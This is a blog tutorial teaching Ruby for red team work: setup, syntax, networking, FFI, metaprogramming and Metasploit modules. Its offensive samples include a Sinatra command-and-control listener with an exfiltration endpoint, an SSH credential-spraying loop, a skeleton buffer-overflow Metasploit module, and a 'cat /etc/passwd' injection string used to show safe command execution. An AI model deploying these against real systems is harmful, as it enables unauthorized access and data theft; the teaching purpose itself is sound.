Skip to main content
  1. Posts/

Ruby Programming Language - The Red Team Operator's Elegant Powerhouse

··2979 words·14 mins·
Table of Contents
Ruby - This article is part of a series.
Part 1: This Article

Python gets most of the air time in offensive security. Fair — it’s everywhere. But if you ever want to actually read a Metasploit module, you’ll need Ruby. And once you’ve spent a weekend with it, you tend to stop reaching for Python for the small one-off stuff.

This is the Ruby walkthrough I wish I’d had when I first tried to port an exploit into MSF. It’s biased toward the parts that actually matter when you’re writing offensive tooling — networking, FFI, packet work, and the MSF module API.

Note

This assumes you’ve programmed before, but starts from the ground up on Ruby specifics.


The Ruby philosophy
#

Yukihiro “Matz” Matsumoto created Ruby in Japan in the mid-1990s and released it publicly in 1995. He wanted something more powerful than Perl and more object-oriented than Python.

Ruby follows the Principle of Least Astonishment: the language should behave the way an experienced user expects. In practice that means there’s usually a method on an object that does the obvious thing, and it’s named the obvious way.

Why bother as a red teamer
#

  • The Metasploit Framework is written in Ruby. Custom modules, exploit ports, and module debugging all require reading it.
  • Ruby is concise. A small parsing or credential-handling script tends to be shorter than its Python equivalent.
  • Metaprogramming is genuinely first-class, which matters when you’re writing protocol fuzzers or DSLs for payload generation.
  • A bunch of long-standing security tools live in Ruby — WPScan, CeWL, Evil-WinRM, the original BetterCap modules — so reading the language pays off beyond Metasploit too.

Matz once said:

“I hope to see Ruby help every programmer in the world to be productive, and to enjoy programming, and to be happy. That is the primary purpose of Ruby language.”

For our purposes, “happy” means a shell that pops on the first try.


Part 1: Setting up
#

Don’t use the Ruby that ships with macOS or your distro. It’s old, it usually wants sudo to install gems, and that’s a mess you don’t need.

Version management with rbenv
#

rbenv lets you pin Ruby per project and keeps gems isolated. Here’s a setup script for Debian-based systems (Kali, Ubuntu, etc.):

#!/bin/bash
set -euo pipefail

# Update system and install dependencies
echo "[*] Installing dependencies..."
sudo apt-get update
sudo apt-get install -y git curl libssl-dev libreadline-dev zlib1g-dev \
    autoconf bison build-essential libyaml-dev libreadline-dev \
    libncurses5-dev libffi-dev libgdbm-dev

# Install rbenv
if [ ! -d "$HOME/.rbenv" ]; then
    echo "[*] Installing rbenv..."
    git clone https://github.com/rbenv/rbenv.git ~/.rbenv
    echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc
    echo 'eval "$(rbenv init -)"' >> ~/.bashrc
else
    echo "[!] rbenv already installed."
fi

# Install ruby-build plugin
if [ ! -d "$HOME/.rbenv/plugins/ruby-build" ]; then
    echo "[*] Installing ruby-build plugin..."
    git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build
else
    echo "[!] ruby-build already installed."
fi

# Reload shell configuration (for this script's scope)
export PATH="$HOME/.rbenv/bin:$PATH"
eval "$(rbenv init -)"

# Install a modern Ruby version
RUBY_VERSION="3.2.2"
echo "[*] Installing Ruby $RUBY_VERSION..."
rbenv install -s "$RUBY_VERSION"
rbenv global "$RUBY_VERSION"

echo "[+] Ruby installation complete!"
ruby -v

IRB vs. Pry
#

Ruby ships with IRB. Pry is a better REPL: syntax highlighting, tab completion, and proper introspection. Install it with:

gem install pry pry-doc

Drop binding.pry anywhere in your code and execution pauses there with the full local scope available. It’s the closest thing to a debugger most Ruby scripts ever need.


Part 2: Language basics
#

Ruby is purely object-oriented. Everything is an object, including integers:

5.class # => Integer
5.times { print "Hack " } # => Hack Hack Hack Hack Hack

1. Variables and scope
#

Ruby uses sigils to denote scope, instead of inferring it from where the name is declared.

  • payload — local. Lowercase or underscore. Scoped to the current block, method, or definition.
  • @target_ip — instance variable. Scoped to one object instance. Used for state.
  • @@count — class variable. Shared across instances. Not thread-safe and behaves oddly under inheritance — avoid unless you mean it.
  • $debug — global. Don’t.
  • PORT — constant. Uppercase first letter. Reassignment produces a warning, not an error.

2. The object model
#

Classes themselves are objects. The body of a class definition runs at definition time, not at instantiation:

# frozen_string_literal: true

class Exploit
  # This code runs when the class is defined, not when instantiated
  puts "Loading Exploit class..."

  attr_accessor :target, :port

  def initialize(target, port)
    @target = target
    @port = port
  end

  def to_s
    "Exploit targeting #{@target}:#{@port}"
  end
end

3. Symbols vs. strings
#

This catches people coming from Python.

A String is mutable and a fresh object is created every time the literal appears. A Symbol (:like_this) is immutable and interned — the same symbol is the same object every time.

puts "attack".object_id # => 60
puts "attack".object_id # => 80 (Different object)

puts :attack.object_id  # => 2000
puts :attack.object_id  # => 2000 (Same object)

One security note: in Ruby older than 2.2, symbols weren’t garbage-collected, and user_input.to_sym on attacker-controlled data could exhaust memory. Modern Ruby handles this, but the habit of using strings for external data and symbols for internal keys is still worth keeping.

4. Collections
#

Arrays
#

Ordered, integer-indexed, can hold anything:

ips = ["192.168.1.10", "192.168.1.11"]
ips << "192.168.1.12" # Append
ips.push("192.168.1.13")

# Set operations are native
scanned = ["192.168.1.10", "192.168.1.50"]
remaining = ips - scanned # => ["192.168.1.11", "192.168.1.12", "192.168.1.13"]

Hashes
#

Key-value, similar to a Python dict:

# Modern syntax (keys are symbols)
config = {
  rhost: "10.10.10.5",
  rport: 445,
  ssl: false
}

# Accessing
puts config[:rhost]

# Merging defaults
defaults = { timeout: 10, verbose: false }
user_opts = { verbose: true }
final_opts = defaults.merge(user_opts)
# => {:timeout=>10, :verbose=>true}

You almost never need to write a for loop in Ruby; the collection methods cover most of what you’d reach for one for.

5. Control structures
#

Ruby has modifier syntax that reads like English:

# Standard If
if is_admin
  puts "Access Granted"
end

# Modifier If
puts "Access Granted" if is_admin

# Unless (Equivalent to 'if not')
reboot_system unless server_critical?

# Case Statement (Ruby's switch on steroids)
protocol = "ssh"

case protocol
when "http", "https"
  puts "Web Service"
when "ssh", "ftp", "telnet"
  puts "Infrastructure Service"
when /smb/
  puts "Windows File Share"
else
  puts "Unknown Service"
end

case uses the === operator, which is why a when clause can match strings, ranges, classes, or regular expressions without any extra syntax.


Part 3: Blocks, procs, and lambdas
#

Blocks are the core idiom for iteration and resource handling.

Blocks
#

A block is do...end or {...}:

# Single line block
[1, 2, 3].each { |n| puts "Scanning host #{n}" }

# Multi-line block
File.open("passwords.txt", "r") do |file|
  file.each_line do |line|
    puts "Trying password: #{line.strip}"
  end
end
# The file is automatically closed after the block ends!

The auto-close on File.open { ... } is the kind of thing you stop noticing until you’re back in another language and find yourself forgetting to call close.

Procs and lambdas
#

Blocks aren’t objects. Procs and lambdas are, which means you can store them and pass them around.

# Lambda
logger = ->(msg) { puts "[#{Time.now}] #{msg}" }

logger.call("Starting exploit...")
logger.call("Payload sent.")

# Proc
cleanup = Proc.new { puts "Cleaning up traces..." }
cleanup.call

Two practical differences: a lambda enforces argument count and return exits the lambda. A Proc is loose about argument count, and return inside it returns from the enclosing method, which has bitten me more than once.


Part 4: I/O and shelling out
#

Red team scripts spend a lot of time reading wordlists, writing logs, and calling external binaries.

File I/O
#

# Reading a file safely
if File.exist?("wordlist.txt")
  File.foreach("wordlist.txt") do |word|
    # Process word
  end
end

# Writing to a file (append mode)
File.open("loot.txt", "a") do |f|
  f.puts "Found creds: admin:password123"
end

Running external commands
#

Don’t use backticks or system() with anything that came from outside your script. Use Open3 and pass arguments as separate strings so the shell never sees them:

require 'open3'

target_ip = "127.0.0.1; cat /etc/passwd" # Malicious input

# Safe execution - arguments are passed as array elements, avoiding shell expansion
stdout, stderr, status = Open3.capture3("ping", "-c", "1", target_ip)

if status.success?
  puts stdout
else
  puts "Error: #{stderr}"
end

Part 5: Networking
#

The standard library covers most of what you need: socket for low-level work, net/http for HTTP.

A simple port scanner
#

Single-threaded, just to show the socket handling:

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'socket'
require 'timeout'

def scan_port(ip, port)
  socket = Socket.new(:INET, :STREAM)
  sockaddr = Socket.sockaddr_in(port, ip)

  begin
    # Set a timeout for the connection
    Timeout.timeout(1) do
      socket.connect_nonblock(sockaddr)
    rescue IO::WaitWritable
      socket.wait_writable
      socket.connect_nonblock(sockaddr)
    end
    puts "[+] Port #{port} is OPEN on #{ip}"
  rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Timeout::Error
    # Port is closed or filtered
  ensure
    socket.close if socket
  end
end

target = "127.0.0.1"
ports = [21, 22, 80, 443, 8080]

puts "[*] Starting scan on #{target}..."
ports.each { |p| scan_port(target, p) }

HTTP
#

require 'net/http'
require 'uri'

uri = URI('http://example.com/api/login')
res = Net::HTTP.post_form(uri, 'user' => 'admin', 'pass' => 'admin')

puts res.code       # => '200'
puts res.message    # => 'OK'
puts res.body       # => Body content

Once you need cookies, sessions, or anything resembling a real HTTP client, reach for httparty or faraday. The stdlib API is fine for a request or two and painful for anything beyond that.


Part 6: Quick C2 listeners with Sinatra
#

Sinatra is a tiny DSL for HTTP servers. I use it constantly for throwaway listeners and situational-awareness endpoints.

# listener.rb
require 'sinatra'
require 'base64'

set :bind, '0.0.0.0'
set :port, 8080

# Logging setup
configure do
  file = File.new("c2_log.txt", 'a+')
  file.sync = true
  use Rack::CommonLogger, file
end

# Check in endpoint - Agent sends GET /checkin
get '/checkin' do
  # Return a command to the agent
  "whoami"
end

# Data exfiltration endpoint - Agent POSTs data
post '/submit' do
  data = request.body.read
  decoded = Base64.decode64(data) rescue data

  File.open("loot/#{Time.now.to_i}.txt", 'w') do |f|
    f.write(decoded)
  end

  "OK"
end

ruby listener.rb and you have a working web server. That’s it. No framework setup, no boilerplate.


Part 7: Offensive tooling
#

Ronin
#

Where Metasploit is for exploitation, Ronin is for tooling. It’s a library of utility classes — encoders, network helpers, text patterns — meant for building your own tools.

require 'ronin/support'

# Ronin makes hex encoding/decoding trivial
payload = "admin".to_hex
puts payload # => "61646d696e"

# IP Address manipulation
ip = Ronin::Support::Network::IP.new('192.168.1.1')
ip.to_i # => 3232235777

# Text Analysis for wordlist generation
text = "The quick brown fox"
Ronin::Support::Text::Patterns::EMAIL_ADDR.match(text)

Packet manipulation with PacketGen
#

PacketGen is the Ruby answer to Scapy. It crafts, parses, and captures network packets.

Warning

Sending raw packets generally needs root or admin. Make sure you have authorization before pointing this at anyone’s network.

# Gemfile: gem 'packetgen'
require 'packetgen'

# Create a TCP SYN packet
pkt = PacketGen.gen('IP', src: '10.0.0.5', dst: '10.0.0.1')
               .add('TCP', dport: 80, sport: 4567, flag_syn: true)

# Recalculate checksums and length automatically
pkt.calc

# Send it out on the wire
pkt.to_w('eth0')

# Reading a PCAP file
PacketGen.read('capture.pcap').each do |packet|
  if packet.ip.protocol == 6 # TCP
    puts "TCP Packet from #{packet.ip.src} to #{packet.ip.dst}"
  end
end

SSH automation with net-ssh
#

net-ssh is pure Ruby — it doesn’t shell out to the system ssh binary, which means it works the same everywhere and you don’t have to parse output of an external process.

require 'net/ssh'

hosts = ['192.168.1.10', '192.168.1.11']
creds = { 'root' => 'toor', 'admin' => 'admin123' }

hosts.each do |host|
  creds.each do |user, pass|
    begin
      Net::SSH.start(host, user, password: pass, timeout: 5) do |ssh|
        puts "[+] SUCCESS: #{host} - #{user}:#{pass}"
        output = ssh.exec!("id")
        puts "    #{output}"
      end
    rescue Net::SSH::AuthenticationFailed
      # Failed auth
    rescue StandardError => e
      # Connection error
    end
  end
end

Calling Windows APIs with FFI
#

Ruby’s FFI library lets you call functions in shared libraries (DLLs on Windows, .so on Linux) without writing any C. For tooling that needs to touch the Win32 API directly, this is the path:

require 'ffi'

module User32
  extend FFI::Library
  ffi_lib 'user32'

  # Define the function signature
  # int MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
  attach_function :MessageBoxA, [:pointer, :string, :string, :uint], :int
end

# Call the Windows API
# 0x00000030 = MB_ICONWARNING | MB_OK
User32.MessageBoxA(nil, "You have been pwned!", "Security Alert", 0x00000030)

Part 8: Metaprogramming
#

Metaprogramming is code that writes code. In Ruby, classes are open — you can add methods to existing classes (including core ones like String) at runtime. That’s monkey patching.

method_missing
#

When you call a method that doesn’t exist, Ruby calls method_missing instead of raising. Override it and you can handle arbitrary method calls dynamically. ActiveRecord’s dynamic finders, most ORMs, and a lot of API wrappers work this way.

class ProtocolFuzzer
  def initialize(target)
    @target = target
  end

  def method_missing(method_name, *args)
    # Convert method name to a payload string
    payload = method_name.to_s.upcase
    puts "Sending payload: #{payload} to #{@target} with args: #{args}"
    # send_packet(payload, args)
  end
end

fuzzer = ProtocolFuzzer.new("192.168.1.5")
fuzzer.admin_login("user", "pass")
# => Sending payload: ADMIN_LOGIN to 192.168.1.5 with args: ["user", "pass"]

You’ll usually also override respond_to_missing? for the same set of names if you want respond_to? to give honest answers, but for fuzzers and quick DSLs you can skip that.


Part 9: Writing a Metasploit module
#

Once you can read Ruby, MSF stops being magic. A module is just a Ruby class that inherits from a piece of the MSF API.

Skeleton of a remote exploit module:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  # Include mixins for common functionality
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Example Ruby Exploit',
      'Description'    => %q{
        This module exploits a buffer overflow in the ACME service.
      },
      'Author'         => [ 'UncleSp1d3r' ],
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2023-XXXX' ]
      ],
      'Payload'        => {
        'Space'    => 1000,
        'BadChars' => "\x00\x0a",
      },
      'Platform'       => 'linux',
      'Targets'        => [
        [ 'ACME Service v1.0', { 'Ret' => 0xdeadbeef } ],
      ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 09 2023'
    ))

    # Register options users can configure (RHOST/RPORT handled by TCP mixin)
    register_options([
      OptString.new('USER', [ true, 'The username to authenticate as', 'admin' ]),
    ])
  end

  def check
    # Check if target is vulnerable without exploiting
    connect
    banner = sock.get_once
    disconnect

    if banner =~ /ACME v1\.0/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Generating payload...")
    buf = "USER " + datastore['USER'] + "\n"
    buf << "PASS " + make_nops(16) + payload.encoded + [target['Ret']].pack('V')

    print_status("Sending #{buf.length} bytes...")
    sock.put(buf)

    handler # Transfer control to payload handler (for example, reverse_tcp)
    disconnect
  end
end

datastore is the hash of user-set options, and mixins like Msf::Exploit::Remote::Tcp give you connect, disconnect, and sock for free so you’re not writing socket plumbing in every module.


Part 10: Concurrency
#

The usual complaint about Ruby is the GVL (the Global VM Lock in MRI), which prevents two threads from running Ruby code on two cores at the same time. For network-bound tools — which most security tooling is — this almost never matters. The GVL is released during I/O, so threads doing network work can run concurrently.

Threads
#

threads = []
targets = ["10.0.0.1", "10.0.0.2", "10.0.0.3"]

targets.each do |ip|
  threads << Thread.new do
    # This block runs in a thread
    puts "Scanning #{ip}..."
    sleep(rand(1..3)) # Simulate network delay
    puts "Finished #{ip}"
  end
end

# Wait for all threads to complete
threads.each(&:join)
puts "All scans complete."

Ractors
#

Ruby 3 added Ractors, which run in actual parallel and don’t share state by default. They’re still maturing, but for CPU-bound parallel work they’re the right tool.


Part 11: Ruby vs. the others
#

Ruby vs. Python
#

Ruby’s case for security tooling: blocks make iteration and resource handling cleaner; metaprogramming is deeper, which is why MSF could be written the way it is; the syntax is generally tighter; Bundler is a more pleasant dependency manager than the pip / virtualenv / poetry mess.

Python’s case: a much bigger general-purpose ecosystem, especially for ML and data work, plus the heavyweight security libraries (Impacket, Scapy) live there. It’s also what most of the field already knows.

Ruby vs. Go
#

Ruby is faster to write and more flexible. Go produces a single static binary with no runtime, runs much faster, and has actually-parallel concurrency. For a quick local script, Ruby. For something you’re going to drop on a target, Go.


Part 12: A few practices worth keeping
#

  • Put # frozen_string_literal: true at the top of source files. String literals get interned instead of allocated each time, which is a free win.
  • Validate input. Ruby is dynamic and will happily let nil propagate through six methods before exploding somewhere unhelpful. Use Regexp to whitelist external strings.
  • Wrap operations in begin / rescue / ensure. Catch StandardError at the top of long-running tools so a single network blip doesn’t kill the run.
  • Use a Gemfile. Don’t make people guess which gems to install.
  • Run RuboCop. It’s opinionated, but most of its opinions are right.

Wrapping up
#

The trick with Ruby is to stop writing it like Python with different syntax. Once you actually use blocks, modifier if, and the collection methods, your scripts get a lot shorter, and the language stops feeling like extra ceremony.

For MSF, you don’t really have a choice. For everything else — parsers, throwaway HTTP listeners, automation glue between tools — give it a fair shake before defaulting to Python out of habit.

UncleSp1d3r out.


References and Resources
#

Official Documentation
#

Security-Focused Gems & Tools
#

  • PacketGen - Network packet generation and parsing.
  • Ronin - Ruby platform for exploit development and security research.
  • Metasploit Framework
  • Sinatra - Minimal web framework.
  • Pry - Runtime developer console / IRB replacement.

Educational Resources
#

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.
Ruby - This article is part of a series.
Part 1: This Article